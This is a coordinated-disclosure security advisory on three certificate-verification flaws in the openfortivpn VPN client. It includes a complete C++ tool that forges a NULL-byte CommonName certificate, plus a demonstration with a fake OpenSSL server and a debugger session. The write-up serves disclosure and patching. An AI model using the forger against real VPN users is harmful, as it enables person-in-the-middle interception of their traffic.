March 12, 2020

GHSL-2020-003, GHSL-2020-004, GHSL-2020-005: Person in the middle attack on openfortivpn clients

Agustin Gianni

Summary

Several security issues have been found in the way openfortivpn deals with TLS. These issues can lead to situations in which an attacker can perform a person-in-the-middle attack on clients.

Product

openfortivpn

Tested Version

All our tests were conducted on version v1.11.0.

Details

Issue 1: TLS Certificate CommonName NULL Byte Vulnerability GSL-2020-003 (CVE-2020-7043)

When openfortivpn is compiled against an OpenSSL library that does not provide the function X509_check_host (OpenSSL < 1.0.2), the client does not properly verify the servers certificate hostname. An attacker that is able to perform a person-in-the-middle attack can exploit this, via a crafted certificate, to spoof arbitrary VPN servers and intercept network traffic.

As can be seen in the following snippet, the software obtains the certificate's CommonName and subsequently compares it to the gateway_host (server hostname) by using the strncasecmp function. Unfortunately this function is not suitable for this task since a specially crafted certificate can contain NULL bytes in its CommonName field. The strncasecmp function will stop its comparison as soon as it encounters a NULL byte since it is a string terminator in the C programming language.

https://github.com/adrienverge/openfortivpn/blob/master/src/tunnel.c#L667-L680

#ifdef HAVE_X509_CHECK_HOST
    // Use OpenSSL native host validation if v >= 1.0.2.
    if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
        cert_valid = 1;
#else
    // Use explicit CommonName check if native validation not available.
    // Note: this will ignore Subject Alternative Name fields.
    if (subj
        && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
                                     FIELD_SIZE) > 0
        && strncasecmp(common_name, tunnel->config->gateway_host,
                       FIELD_SIZE) == 0)
        cert_valid = 1;
#endif

For example, to perform a person-in-the-middle attack on the vpn.legit.com host, an attacker can simply create a certificate with a CommonName consisting of vpn.legit.com\x00attacker.com.

We have created a small tool that assists in the creation of such a certificate.

// Compiling on macOS:
// export PKG_CONFIG_PATH="/usr/local/opt/openssl@1.1/lib/pkgconfig"
// clang++ create-poisoned-certificate.cpp -o create-poisoned-certificate -Wall $(pkg-config --libs --cflags openssl)
#include <cstdio>
#include <cassert>
#include <string>
#include <iostream>

#include <openssl/pem.h>
#include <openssl/x509.h>

int main(int argc, char **argv)
{
    if (argc < 3)
    {
        printf("Usage: %s <target_hostname> <attacker_hostname>\n", argv[0]);
        return -1;
    }

    std::string target_hostname = argv[1];
    std::string attacker_hostname = argv[2];

    std::cout << "Generating a poisoned certificate:" << std::endl;
    std::cout << "  target   -> " << target_hostname << std::endl;
    std::cout << "  attacker -> " << attacker_hostname << std::endl;

    // Create the poisoned CommonName.
    std::string common_name = target_hostname + '\x00' + attacker_hostname;

    // Create a new key.
    EVP_PKEY *pkey = EVP_PKEY_new();
    assert(pkey && "Could not create EVP_PKEY structure.");

    // Generate the key.
    RSA *rsa = RSA_new();
    assert(rsa && "Could not create RSA structure.");

    // Generate the key.
    BIGNUM *exponent = BN_new();
    BN_set_word(exponent, RSA_F4);
    RSA_generate_key_ex(rsa, 2048, exponent, nullptr);

    // Assign it.
    EVP_PKEY_assign_RSA(pkey, rsa);

    // Create the certificate.
    X509 *x509 = X509_new();
    assert(x509 && "Could not create X509 structure.");

    // Fill some required fields.
    ASN1_INTEGER_set(X509_get_serialNumber(x509), 0xcafecafe);
    X509_gmtime_adj(X509_get_notBefore(x509), 0);
    X509_gmtime_adj(X509_get_notAfter(x509), 0xdeadbeef);

    // Set the public key for our certificate.
    X509_set_pubkey(x509, pkey);

    // Populate the subject name.
    X509_NAME *name = X509_get_subject_name(x509);
    X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (unsigned char *)"GH", -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (unsigned char *)"GitHub Security Lab", -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "CN", V_ASN1_IA5STRING, (unsigned char *)common_name.c_str(), common_name.size(), -1, 0);

    // Now set the issuer name.
    X509_set_issuer_name(x509, name);

    // Sign the certificate.
    assert(X509_sign(x509, pkey, EVP_sha1()) && "Could not sign certificate.");

    // Write the private key to disk.
    FILE *pkey_file = fopen("key.pem", "wb");
    assert(pkey_file && "Could not open key.pem");

    PEM_write_PrivateKey(pkey_file, pkey, nullptr, nullptr, 0, nullptr, nullptr);
    fclose(pkey_file);

    // Write the certificate to disk.
    FILE *x509_file = fopen("cert.pem", "wb");
    assert(x509_file && "Could not open cert.pem");

    PEM_write_X509(x509_file, x509);
    fclose(x509_file);

    return 0;
}

By using this tool one can create a self signed certificate:

$ ./create-poisoned-certificate target.domain securitylab.github.com
Generating a poisoned certificate:
  target   -> target.domain
  attacker -> securitylab.github.com

As demonstrated below, the CommonName is poisoned with a null byte:

$ openssl x509 -in cert.pem -text -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 3405695742 (0xcafecafe)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=GH, O=GitHub Security Lab, CN=target.domain\x00securitylab.github.com
        Validity
            Not Before: Jan 13 16:50:18 2020 GMT
            Not After : Jun  3 14:46:17 2138 GMT
        Subject: C=GH, O=GitHub Security Lab, CN=target.domain\x00securitylab.github.com

As an illustration we can create a fake VPN service by using the openssl command line utilities:

$ openssl s_server -key key.pem -cert cert.pem
Using auto DH parameters
Using default temp ECDH parameters
ACCEPT

We need to simulate some kind of attack, so we have added the target domain to /etc/hosts:

$ grep target.domain /etc/hosts
127.0.0.1       target.domain

To better illustrate the issue we can connect to the server with a debugger, set a few breakpoints and inspect the contents of certain variables that are relevant to hostname validation:

$ lldb openfortivpn
(lldbinit) breakpoint set --file tunnel.c --line 677
(lldbinit) breakpoint set --file tunnel.c --line 683
(lldbinit) r target.domain:4433 -u username -p tld
Process 81513 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00000001000270fa openfortivpn`ssl_verify_cert(tunnel=0x00007ffeefbfcb80) at tunnel.c:677:6
   674 		if (subj
   675 		    && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
   676 		                                 FIELD_SIZE) > 0
-> 677 		    && strncasecmp(common_name, tunnel->config->gateway_host,
   678 		                   FIELD_SIZE) == 0)
   679 			cert_valid = 1;
   680 	#endif
Target 0: (openfortivpn) stopped.
(lldbinit) p common_name
(char [65]) $2 = "target.domain"
(lldbinit) mem read &common_name
0x7ffeefbfc460: 74 61 72 67 65 74 2e 64 6f 6d 61 69 6e 00 73 65  target.domain.se
0x7ffeefbfc470: 63 75 72 69 74 79 6c 61 62 2e 67 69 74 68 75 62  curitylab.github
(lldbinit) p tunnel->config->gateway_host
(char [65]) $4 = "target.domain"
(lldbinit) c
Process 81513 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x000000010002715e openfortivpn`ssl_verify_cert(tunnel=0x00007ffeefbfcb80) at tunnel.c:683:6
   680 	#endif
   681
   682 		// Try to validate certificate using local PKI
-> 683 		if (cert_valid
   684 		    && SSL_get_verify_result(tunnel->ssl_handle) == X509_V_OK) {
   685 			log_debug("Gateway certificate validation succeeded.\n");
   686 			ret = 0;
Target 0: (openfortivpn) stopped.
(lldbinit) p cert_valid
(int) $7 = 0x00000001

As can be seen in the previous example, the contents of the common_name buffer are not exactly a C string, but a series of bytes that when interpreted as a C string will lead to incorrect results. In this case, the buffer contains the ASCII string target.domain followed by a NULL byte and the rest of the domain name securitylab.github.com. This situation makes strncasecmp compare the wrong part of the CommonName which leads to accepting the wrong certificate (CVE-2020-7043)

Impact

This vulnerability allows an attacker that is able to get valid certificates from a CA with a specially crafted CommonName to perform a person-in-the-middle attack against VPN clients.

Remediation

Modern versions of OpenSSL have implemented hostname validation therefore removing the necessity of custom solutions. Unfortunately on older versions of OpenSSL, a custom solution is needed.

We suggest the developers follow the guidelines available in the following links:

Patch can be found here https://github.com/adrienverge/openfortivpn/commit/6328a070ddaab16faaf008cb9a8a62439c30f2a8#diff-5df244ea721353ca452473c7213d3f27

Issue 2: Incorrect use of X509_check_host GSL-2020-004 (CVE-2020-7041)

The X509_check_host function is part of a collection of functions used to match certain properties of certificates. They are used to check whether a certificate matches a given host name, email address, or IP address and are available since OpenSSL 1.0.2. In particular, the X509_check_host function checks if the certificate's Subject Alternative Name or CommonName matches the specified host name.

int X509_check_host(X509 *, const char *name, size_t namelen, unsigned int flags, char **peername);

These functions return 1 for a successful match, 0 for a failed match, -1 for an internal error, or -2 if the input is malformed.

https://github.com/adrienverge/openfortivpn/blob/master/src/tunnel.c#L667-L680

#ifdef HAVE_X509_CHECK_HOST
    // Use OpenSSL native host validation if v >= 1.0.2.
    if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
        cert_valid = 1;
#else
    // Use explicit CommonName check if native validation not available.
    // Note: this will ignore Subject Alternative Name fields.
    if (subj
        && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
                                     FIELD_SIZE) > 0
        && strncasecmp(common_name, tunnel->config->gateway_host,
                       FIELD_SIZE) == 0)
        cert_valid = 1;
#endif

Openfortivpn unfortunately incorrectly uses this function. If an attacker can force the function to fail with a negative value, the if condition will evaluate to true, setting the value of cert_valid to one (valid). Making the API return a negative value is a trivial thing since any certificate with a null byte on its SAN or CN will make it return -2. (CVE-2020-7041)

Impact

This vulnerability allows an attacker that is able to get valid certificates from a CA with a specially crafted CommonName to perform a person-in-the-middle attack against VPN clients.

Remediation

Similar to GHSL-2020-003. Patch can be found here https://github.com/adrienverge/openfortivpn/commit/9eee997d599a89492281fc7ffdd79d88cd61afc3#diff-5df244ea721353ca452473c7213d3f27

Issue 3: Use of uninitialized memory during hostname verification GSL-2020-003 (CVE-2020-7042)

Instead of passing tunnel->config->gateway_host to X509_check_host, the ssl_verify_cert function passes the common_name string buffer, which at the point of the X509_check_host call is an uninitialized buffer. This leads to the application never accepting valid certificates (only malformed ones). (CVE-2020-7042)

static int ssl_verify_cert(struct tunnel *tunnel)
{
    char common_name[FIELD_SIZE + 1];

    SSL_set_verify(tunnel->ssl_handle, SSL_VERIFY_PEER, NULL);

    X509 *cert = SSL_get_peer_certificate(tunnel->ssl_handle);
    if (cert == NULL) {
        log_error("Unable to get gateway certificate.\n");
        return 1;
    }

    subj = X509_get_subject_name(cert);
#ifdef HAVE_X509_CHECK_HOST
    // Use OpenSSL native host validation if v >= 1.0.2.
    if (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL))
        cert_valid = 1;
#else
    // Use explicit CommonName check if native validation not available.
    // Note: this will ignore Subject Alternative Name fields.
    if (subj
        && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,
                                     FIELD_SIZE) > 0
        && strncasecmp(common_name, tunnel->config->gateway_host,
                       FIELD_SIZE) == 0)
        cert_valid = 1;
#endif

Impact

The software incorrectly validates the identity of a certificate.

Remediation

Use the proper hostname variable to check against the certificate identity. Patch can be found https://github.com/adrienverge/openfortivpn/commit/9eee997d599a89492281fc7ffdd79d88cd61afc3#diff-5df244ea721353ca452473c7213d3f27

Coordinated Disclosure Timeline

This report was subject to our coordinated disclosure policy.

  • 01/19/2020: Report sent to Vendor
  • 01/19/2020: Vendor acknowledged report
  • 02/21/2020: Vendor proposed fixes
  • 02/24/2020: Fixes reviewed and verified
  • 02/26/2020: Report published to public

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-YEAR-ID in any communication regarding this issue.